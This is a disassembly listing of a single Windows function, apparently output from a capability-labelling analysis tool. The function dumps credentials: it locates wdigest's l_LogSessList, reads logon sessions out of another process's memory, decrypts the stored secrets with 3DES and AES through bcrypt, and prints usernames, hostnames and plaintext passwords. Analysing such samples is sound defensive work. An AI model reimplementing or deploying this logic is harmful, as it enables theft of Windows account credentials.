Function at 0x1400015d0
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
push rsi
push rdi
push r12
lea rbp, [rsp - 0x428]
sub rsp, 0x528
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov r12, rcx
mov rsi, rdx
lea rcx, str.wdigest.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x140001622
lea rcx, str._x__Error:_Could_not_load_wdigest.dll_into_local_process_n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x140001698
mov qword [rsp + 0x560], rbx
lea rcx, str.___Loaded_wdigest.dll_at_address__p_n
mov rdx, rdi
mov qword [rsp + 0x520], r13
call fcn.140001010
mov eax, dword [0x140005038]
xor r13d, r13d
movzx r8d, byte [0x140005039]
mov rdx, rdi
mov ebx, r13d
cmp byte [rdx], al
jne 0x14000166a
cmp byte [rdx + 1], r8b
jne 0x14000166a
movsxd rcx, ebx
cmp dword [rcx + rdi], eax
je 0x1400016b4
inc ebx
inc rdx
cmp ebx, 0x200000
jl 0x140001658
lea rcx, str._x__Error:_Could_not_find_l_LogSessList_signature_n
call fcn.140001010
mov eax, 1
mov rbx, qword [rsp + 0x560]
mov r13, qword [rsp + 0x520]
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.140001d40
add rsp, 0x528
pop r12
pop rdi
pop rsi
pop rbp
ret
test ebx, ebx
je 0x140001677
mov edx, ebx
lea rcx, str.___l_LogSessList_offset_found_as__d_n
call fcn.140001010
xor eax, eax
mov qword [rbp - 0x20], r13
mov dword [rsp + 0x50], eax
lea rdx, [rsi - 4]
lea rax, [rbp - 0x20]
add rdx, rbx
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x50]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rsp + 0x50]
lea r8, [rsp + 0x58]
xor eax, eax
mov qword [rbp - 0x20], r13
mov qword [rsp + 0x58], rax
add rdx, rbx
lea rax, [rbp - 0x20]
add rdx, rsi
mov r9d, 8
mov qword [rsp + 0x20], rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rsp + 0x58]
lea rcx, str.___l_LogSessList_found_at_address__p_n
call fcn.140001010
lea rcx, str.___Credentials_incoming...__hopefully__n_n
call fcn.140001010
mov rdx, qword [rsp + 0x58]
lea r8, [rbp - 0x80]
xorps xmm0, xmm0
mov qword [rbp - 0x20], r13
xor eax, eax
mov r9d, 0x58
mov qword [rbp - 0x30], rax
mov rcx, r12
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x68]
mov qword [rsp + 0x518], r14
mov qword [rsp + 0x510], r15
nop dword [rax]
xorps xmm0, xmm0
mov qword [rbp - 0x10], r13
xor eax, eax
lea r8, [rbp - 0x80]
mov qword [rbp - 0x30], rax
mov r9d, 0x58
lea rax, [rbp - 0x10]
mov rdx, rbx
mov rcx, r12
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [rbp - 0x70], 1
jne 0x140001a5e
lea rdx, [rbx + 0x30]
mov rcx, r12
call fcn.1400014e0
lea rdx, [rbx + 0x40]
mov rcx, r12
mov rsi, rax
call fcn.1400014e0
lea rdx, [rbx + 0x50]
mov rcx, r12
mov rdi, rax
call fcn.1400014e0
mov rbx, rax
test rsi, rsi
je 0x140001834
cmp word [rsi], r13w
je 0x140001834
mov rdx, qword [rsi + 8]
lea rcx, str.______Username:__ls_n
call fcn.140001010
jmp 0x140001840
lea rcx, str.______Username:__NULL__n
call fcn.140001010
test rdi, rdi
je 0x14000185d
cmp word [rdi], r13w
je 0x14000185d
mov rdx, qword [rdi + 8]
lea rcx, str.______Hostname:__ls_n
call fcn.140001010
jmp 0x140001869
lea rcx, str.______Hostname:__NULL__n
call fcn.140001010
movzx eax, word [rbx]
test ax, ax
je 0x140001a19
test al, 1
jne 0x140001a19
movups xmm0, xmmword [0x140005648]
movzx r14d, word [rbx + 2]
xor r9d, r9d
mov r15, qword [rbx + 8]
xor r8d, r8d
movups xmmword [rbp - 0x10], xmm0
test r14b, 7
je 0x140001957
lea rdx, [0x1400032e0]
lea rcx, [rsp + 0x60]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
mov rcx, qword [rsp + 0x60]
lea r8, str.ChainingModeCFB
mov r9d, 0x20
mov dword [rsp + 0x20], r13d
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov rcx, qword [rsp + 0x60]
lea rax, [0x140005658]
mov dword [rsp + 0x30], r13d
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x28], 0x10
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], r13d
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, r14d
mov dword [rsp + 0x38], 0x400
lea rax, [rbp]
mov qword [rsp + 0x30], rax
mov rdx, r15
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
je 0x140001a01
jmp 0x140001a25
lea rdx, str.3DES
lea rcx, [rbp - 0x20]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
mov rcx, qword [rbp - 0x20]
lea r8, str.ChainingModeCBC
mov r9d, 0x20
mov dword [rsp + 0x20], r13d
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov rcx, qword [rbp - 0x20]
lea rax, [0x140005630]
mov dword [rsp + 0x30], r13d
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x18
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], r13d
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, r14d
mov dword [rsp + 0x38], 0x400
lea rax, [rbp]
mov qword [rsp + 0x30], rax
mov rdx, r15
lea rax, [rbp - 0x10]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x140001a25
cmp dword [rbp - 0x18], r13d
jbe 0x140001a25
lea rdx, [rbp]
lea rcx, str.______Password:__ls_n_n
call fcn.140001010
jmp 0x140001a25
lea rcx, str.______Password:__NULL__n_n
call fcn.140001010
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rbp - 0x80]
cmp rbx, qword [rsp + 0x58]
jne 0x1400017a0
mov r15, qword [rsp + 0x510]
xor eax, eax
mov r14, qword [rsp + 0x518]
jmp 0x140001688